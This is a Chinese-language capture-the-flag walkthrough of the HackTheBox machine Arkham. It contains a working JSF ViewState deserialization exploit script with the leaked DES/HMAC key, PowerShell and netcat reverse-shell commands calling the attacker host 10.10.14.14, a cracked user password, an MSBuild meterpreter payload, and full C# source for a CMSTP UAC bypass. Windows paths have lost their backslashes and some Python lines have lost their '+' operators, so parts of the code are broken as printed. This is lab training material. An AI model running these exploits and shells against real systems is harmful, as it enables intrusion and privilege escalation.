HTB: Arkham

2022-06-30 15:55:00 浏览数 (1)

Arkham是一个中等难度的靶机,但是它的难度可以和困难相媲美。其中涉及了lucks解密、JSF ViewState反序列化、ost邮件分析、UAC绕过等相关知识。ViewState反序列化漏洞让我学到了很多,虽然其中的数据是加密的,但是它提供了一个用于执行攻击的密钥使得我能够成功获取shell,上线后在电子邮件中找到了管理员密码,需要绕过UAC限制拿到最后的flag。感兴趣的同学可以在HackTheBox中进行学习。

截屏2021-12-15 下午2.38.20

0x01 侦查

端口扫描

使用 nmap 对目标进行端口扫描

代码语言:javascript复制
nmap -Pn -p- -sV -sC -A 10.10.10.130 -oA nmap_Arkham

通过 nmap 的扫描结果可以发现目标开放了80、135、139、445、8080端口

80端口

80端口为 IIS 默认界面,使用 gobuster 进行目录扫描

代码语言:javascript复制
gobuster dir -u http://10.10.10.130 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50

截屏2021-12-15 下午3.39.43

但是并没有扫描到什么有价值的目录

8080端口

页面显示这是一家名为 Mask 的公司,主要业务为数据保护。使用 gobuster 进行目录扫描

代码语言:javascript复制
gobuster dir -u http://10.10.10.130:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50

也没有发现什么有用的目录,查看网站可以在订阅中发现一个交互点

输入 mac 会给你一个返回信息

445端口

使用 smbclient 查看当前共享

代码语言:javascript复制
smbclient -N -L //10.10.10.130

也可以使用 smbmap 进行扫描,但是获取到的信息并没有很多

代码语言:javascript复制
smbmap -H 10.10.10.130

截屏2021-12-17 下午4.49.55

Users 查看 Users 共享

代码语言:javascript复制
smbclient //10.10.10.130/users

截屏2021-12-17 下午4.53.07

BatShare 查看 BatShare 共享

代码语言:javascript复制
smbclient //10.10.10.130/batshare
smb > get appserver.zip

通过对 Users 以及 BatShare 共享的探索我们发现 Users 中只存放了一些默认用户和访客用户的文件,而 BatShare 中包含了一个压缩包appserver.zip同时将其下载下来

lucks映像

将下载下来的压缩包解压

代码语言:javascript复制
unzip appserver.zip

其中包含一个文本和一个加密的磁盘映像

爆破lucks密码

LUCKS 是 linux 硬盘加密的标准,如果我要访问里面的文件,必须先找到其中的密码。使用 bruteforce-luks 对密码进行爆破

代码语言:javascript复制
apt install bruteforce-luks
cat /usr/share/wordlists/rockyou.txt | grep batman > test.txt
bruteforce-luks -t 10 -f test.txt backup.img -v 60

成功跑出密码为:batmanforver

挂载磁盘映像

使用 cryptsetup 打开文件

代码语言:javascript复制
cryptsetup open --type luks backup.img arkham

查看驱动发现一个新设备

代码语言:javascript复制
ls -l /dev/mapper/

截屏2021-12-17 下午5.39.13

挂载新设备到 Arkham 目录下

代码语言:javascript复制
mount /dev/mapper/arkham ~/hackthebox/Machines/Arkham/mnt/

截屏2021-12-17 下午5.40.14

开始对目录中的文件进行枚举

代码语言:javascript复制
find ~/hackthebox/Machines/Arkham/mnt/ -type f

其中包括蝙蝠侠的图片和 tomcat-stuff 文件夹,通过对其中各个文件的筛查,我们在 web.xml.bak 中发现了有趣的东西

根据以上配置文件我们可以在发现如下信息

代码语言:javascript复制
该站点会匹配 *.faces 来调用 servlet
myfaces 的 SECRET 为 SnNGOTg3Ni0=
HmacSHA1 的 SECRET 为 SnNGOTg3Ni0=
SnNGOTg3Ni0= 经过解码后为 JsF9876-
JSF 版本为 2.5.2 

0x02 JSF反序列化上线[Alfred]

JSF ViewState反序列化漏洞

JSF 框架主要使用序列化来保持站点的状态,它会帮助服务器序列化一个 Java 对象,并将其作为网页中的隐藏字段发送到客户端,当客户端提交时该序列化对象被发送回服务器,服务器可以使用它来取回状态。反序列化漏洞是允许用户提交序列化对象,如果序列化对象包含恶意代码,那么在反序列化过程中就会运行。从而用户可以控制输入来获取执行权限。

通过以上介绍和分析,我们可以推测该站点可能存在反序列化漏洞,那么如何来验证该漏洞呢?可采取以下思路

代码语言:javascript复制
1、测试提交错误的 ViewState 会发生什么?
2、解密 ViewState 变量来显示我的加密密钥有效
3、构建脚本加密好的 ViewState 并进行提交
4、使用 ysoserial 来生成 payload,它可以使用脚本中的 ViewState 来 ping 主机
5、更新 payload 获取反弹shell

找到之前的订阅栏目,使用 BurpSuite 将数据包拦截,具体数据包如下

将 javax.faces.ViewState 参数的值的第一个字符从 w 字符修改为 W 字符,查看页面报错信息

返回信息提示No Saved view state could be found for the view identifier,这说明修改是有效的

探索ViewState

我们可以抓取到 javax.faces.ViewState 参数的值如下

代码语言:javascript复制
javax.faces.ViewState=wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE=

通过 python 代码来获取其中的字节流

代码语言:javascript复制
from base64 import b64decode
from urllib.parse import unquote_plus as urldecode

vs = 'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
vs_urldecode = urldecode(vs)
print(vs_urldecode)
vs_bs64decode = b64decode(vs_urldecode)
print(vs_bs64decode)

截屏2021-12-18 下午8.09.27

这是加密的字节流,我们需要通过解密来获取其中的信息。SHA1的长度通常为20字节,很可能附加到首位或末尾。经过测试 HMAC 存储在最后20字节中

代码语言:javascript复制
from base64 import b64decode
from urllib.parse import unquote_plus as urldecode
from hashlib import sha1
import hmac

vs = 'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
vs_urldecode = urldecode(vs)
vs_bs64decode = b64decode(vs_urldecode)
mac = vs_bs64decode[-20:]
enc = vs_bs64decode[:-20]
enc_hmac = hmac.new(b'JsF9876-', enc, sha1).digest()
print(mac)
print(enc_hmac)

目前已知加密方式、加密位置以及密钥,接下来就可以解密这串值

代码语言:javascript复制
from base64 import b64decode
from urllib.parse import unquote_plus as urldecode
from Crypto.Cipher import DES

vs = 'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
vs_urldecode = urldecode(vs)
vs_bs64decode = b64decode(vs_urldecode)
enc = vs_bs64decode[:-20]
d = DES.new(b'JsF9876-', DES.MODE_ECB)
print(d.decrypt(enc))

经过解密后出现字符串说明解密确实是正确的

使用 ysoserial 来生成 ping 命令的 payload

代码语言:javascript复制
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar BeanShell1 'ping 10.10.14.14' > text

生成成功,但是我需要将其放入 python 脚本当中进行调用

安装模块 pip install pycryptodome

代码语言:javascript复制
import requests
import subprocess
import sys
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from os import devnull
from urllib.parse import quote_plus as urlencode


with open(devnull, 'w') as null:
    payload = subprocess.check_output(['java', '-jar', '/root/hackthebox/Machines/Arkham/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', sys.argv[1], sys.argv[2]], stderr=null)

pad = (8 - (len(payload) % 8)) % 8
padded = payload   (chr(pad)*pad).encode()

d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(padded)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
viewstate = b64encode(enc_payload   sig)

sess = requests.session()
sess.get('http://10.10.10.130:8080/userSubscribe.faces')
resp = sess.post('http://10.10.10.130:8080/userSubscribe.faces',
        data = {'j_id_jsp_1623871077_1:email': 'd',
                'j_id_jsp_1623871077_1:submit': 'SIGN UP',
                'j_id_jsp_1623871077_1_SUBMIT': '1',
                'javax.faces.ViewState': viewstate})

启动本地监听

代码语言:javascript复制
tcpdump -i tun0 icmp

使用脚本执行 ping 命令

代码语言:javascript复制
python3 exploit.py BeanShell1 'ping 10.10.14.14'

成功收到 ping 命令,反序列化漏洞验证成功

获取shell

为了获取目标站点的shell,我们把 nc64.exe 放在本目录下并开启 http 服务

代码语言:javascript复制
python -m SimpleHTTPServer 80

在本地开启监听,接收反弹shell

代码语言:javascript复制
rlwrap nc -nvlp 443 

这里需要在 exploit.py 进行略微修改,源码如下

代码语言:javascript复制
#!/usr/bin/env python3

import requests
import subprocess
import sys
from base64 import b64encode
from Crypto.Cipher import DES
from Crypto.Hash import SHA, HMAC
from os import devnull
from urllib.parse import quote_plus as urlencode


with open(devnull, 'w') as null:
    payload = subprocess.check_output(['java', '-jar', '/root/hackthebox/Machines/Arkham/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections5', sys.argv[1]], stderr=null)

pad = (8 - (len(payload) % 8)) % 8
padded = payload   (chr(pad)*pad).encode()

d = DES.new(b'JsF9876-', DES.MODE_ECB)
enc_payload = d.encrypt(padded)
sig = HMAC.new(b'JsF9876-', enc_payload, SHA).digest()
viewstate = b64encode(enc_payload   sig)

sess = requests.session()
sess.get('http://10.10.10.130:8080/userSubscribe.faces')
resp = sess.post('http://10.10.10.130:8080/userSubscribe.faces',
        data = {'j_id_jsp_1623871077_1:email': 'd',
                'j_id_jsp_1623871077_1:submit': 'SIGN UP',
                'j_id_jsp_1623871077_1_SUBMIT': '1',
                'javax.faces.ViewState': viewstate})

执行以下命令上传 nc 并使用 nc 连接本地443端口

代码语言:javascript复制
python3 exploit2.py "powershell -c Invoke-Webrequest -uri 'http://10.10.14.14/nc64.exe' -outfile windowssystem32spooldriverscolornc.exe"
python3 exploit2.py "windowssystem32spooldriverscolornc.exe -e cmd 10.10.14.14 443"

成功收到反弹shell

读取user.txt

在 Alfred 的桌面上找到flag

代码语言:javascript复制
dir C:UsersAlfredDesktop
type C:UsersAlfredDesktopuser.txt

成功拿到第一个flag

0x03 权限提升[batman]

获得密码

在主目录下枚举关键文件

代码语言:javascript复制
dir /s /b /a:-d-h Usersalfred | findstr /i /v "appdata"

发现 backup.zip,我们需要将其下载到本地。借助 smbserver 来建立 smb 共享,同时设置账号密码,否则无法连接

代码语言:javascript复制
python3 smbserver.py -smb2support -username mac -password mac share /root/hackthebox/Machines/Arkham/

在靶机上复制 backup.zip 到本机目录下

代码语言:javascript复制
net use \10.10.14.14share /u:mac mac
copy C:UsersAlfredDownloadsbackupsbackup.zip \10.10.14.14share

解压该文件,里面包含一个 ost 文件,是 Microsoft Outlook 的脱机文件夹文件

代码语言:javascript复制
unzip -l backup.zip

截屏2021-12-20 上午3.54.09

借助 readpst 来进行解析,该工具可以用来解析.pst.ost文件

代码语言:javascript复制
readpst alfred@arkham.local.ost

解压完成是一个.mbox文件,这是一种电子邮件邮箱文件格式,可在单个文件中存储多条消息并将其作为文本。使用 mutt 来打开它

代码语言:javascript复制
mutt -R -f Drafts.mbox

这是一封给 batman 的邮件,翻到最后存在一个附件

通过 v 来查看附件

成功获取到账号密码为:batman/Zx^#QZX T!123

获取shell

进入 powershell 来制作凭据

代码语言:javascript复制
powershell
$username = 'batman'
$password = 'Zx^#QZX T!123'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword

建立凭据后开启监听2222端口,之后执行命令以 batman 身份反弹shell

代码语言:javascript复制
Invoke-command -computername ARKHAM -credential $credential -scriptblock { cmd.exe /c "C:windowssystem32spooldriverscolornc.exe" -e cmd.exe 10.10.14.14 2222 } 

成功获得shell

0x04 UAC绕过

受限环境

查看当前用户权限

代码语言:javascript复制
net user batman

该用户拥有管理员和远程管理员权限,但是读取 root.txt 时无法访问 administrator 的桌面

代码语言:javascript复制
dir c:UsersadministratorDesktop
type c:UsersadministratorDesktoproot.txt

查询权限,判断当前环境为受限状态且 UAC 状态已经启用

通过本地共享读取root.txt

代码语言:javascript复制
type \localhostc$usersadministratordesktoproot.txt

成功拿到第二个flag

借助msf绕过UAC读取root.txt

建立meterpreter会话

由于绕过大多数 UAC 都需要交互过程,使用 msf 能够有效帮助我们绕过 UAC。借助 GreatSCT 来获取一个 meterpreter 工具地址:https://github.com/GreatSCT/GreatSCT

代码语言:javascript复制
cd setup
./setup.sh

建立完成后,使用 GreatSCT.py 查看相关命令

代码语言:javascript复制
python3 GreatSCT.py

使用 bypass

代码语言:javascript复制
use bypass

查看反弹脚本

代码语言:javascript复制
list

使用msbuild/meterpreter/rev_tcp.py设置 tcp 监听

代码语言:javascript复制
use msbuild/meterpreter/rev_tcp.py

截屏2021-12-20 上午5.15.13

设置本地IP和端口

代码语言:javascript复制
set LHOST 10.10.14.14
set LPORT 4444

截屏2021-12-20 上午5.16.17

代码语言:javascript复制
generate
##输入arkham

成功生成 arkham.xml 、arkham.rc,这两个文件有不同的作用。arkham.xml 用于在 windows 中反弹 meterpreter,arkham.rc 用于在 msf 中直接配置监听

使用 msfconsole 加载 rc 文件并设置参数

代码语言:javascript复制
msfconsole -r arkham.rc

截屏2021-12-20 上午5.21.19

与此同时将 xml 文件移动到目标靶机上

代码语言:javascript复制
cd UsersBatmanappdatalocaltemp
net use \10.10.14.14share /u:mac mac
copy \10.10.14.14sharearkham.xml C:UsersBatmanappdatalocaltemp

截屏2021-12-20 上午5.24.19

运行 msbuild 获取 meterpreter 会话

代码语言:javascript复制
WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe UsersBatmanappdatalocaltemparkham.xml

在 msf 中成功返回会话

CMSTP UAC绕过

参考文章:https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html

代码语言:javascript复制
/* 
UAC Bypass using CMSTP.exe microsoft binary

Based on previous work from Oddvar Moe
https://oddvar.moe/2017/08/15/research-on-cmstp-exe/

And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1

Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;

public class CMSTPBypass
{
    // Our .INF file data!
    public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWAREMicrosoftWindowsCurrentVersionApp PathsCMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""

";

    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

    public static string BinaryPath = "c:\windows\system32\cmstp.exe";

    /* Generates a random named .inf file with command to be executed with UAC privileges */
    public static string SetInfFile(string CommandToExecute)
    {
        string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
        string TemporaryDir = "C:\windows\temp";
        StringBuilder OutputFile = new StringBuilder();
        OutputFile.Append(TemporaryDir);
        OutputFile.Append("\");
        OutputFile.Append(RandomFileName);
        OutputFile.Append(".inf");
        StringBuilder newInfData = new StringBuilder(InfData);
        newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
        File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
        return OutputFile.ToString();
    }

    public static bool Execute(string CommandToExecute)
    {
        if(!File.Exists(BinaryPath))
        {
            Console.WriteLine("Could not find cmstp.exe binary!");
            return false;
        }
        StringBuilder InfFile = new StringBuilder();
        InfFile.Append(SetInfFile(CommandToExecute));

        Console.WriteLine("Payload file written to "   InfFile.ToString());
        ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
        startInfo.Arguments = "/au "   InfFile.ToString();
        startInfo.UseShellExecute = false;
        Process.Start(startInfo);

        IntPtr windowHandle = new IntPtr();
        windowHandle = IntPtr.Zero;
        do {
            windowHandle = SetWindowActive("cmstp");
        } while (windowHandle == IntPtr.Zero);

        System.Windows.Forms.SendKeys.SendWait("{ENTER}");
        return true;
    }

    public static IntPtr SetWindowActive(string ProcessName)
    {
        Process[] target = Process.GetProcessesByName(ProcessName);
        if(target.Length == 0) return IntPtr.Zero;
        target[0].Refresh();
        IntPtr WindowHandle = new IntPtr();
        WindowHandle = target[0].MainWindowHandle;
        if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
        SetForegroundWindow(WindowHandle);
        ShowWindow(WindowHandle, 5);
        return WindowHandle;
    }
}

查看交互进程explore.exe,并将当前进程迁移到对应的进程号中

代码语言:javascript复制
ps -S explore
migrate 4824

将上面的 C-Sharp 源码命名为 Source.cs,通过 powershell 编译为 dll 文件

代码语言:javascript复制
load powershell
powershell_shell
cd UsersBatmanappdatalocaltemp
iwr -uri 10.10.14.14/Source.cs -outfile Source.cs
Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwdSource.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"

将该 dll 加载到内存中

代码语言:javascript复制
[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwdCMSTP-UAC-Bypass.dll"))

在本地开启 nc 监听,可以调用导出的函数执行反弹shell

代码语言:javascript复制
[CMSTPBypass]::Execute("C:windowsSystem32spooldriverscolornc.exe -e cmd 10.10.14.14 7777")

截屏2021-12-20 上午5.41.02

在本地获取到反弹shell

查看权限以及对应flag

代码语言:javascript复制
whoami /priv

截屏2021-12-20 上午5.42.49

代码语言:javascript复制
dir c:UsersadministratorDesktop
type c:UsersadministratorDesktoproot.txt

截屏2021-12-20上午5.43.06

0 人点赞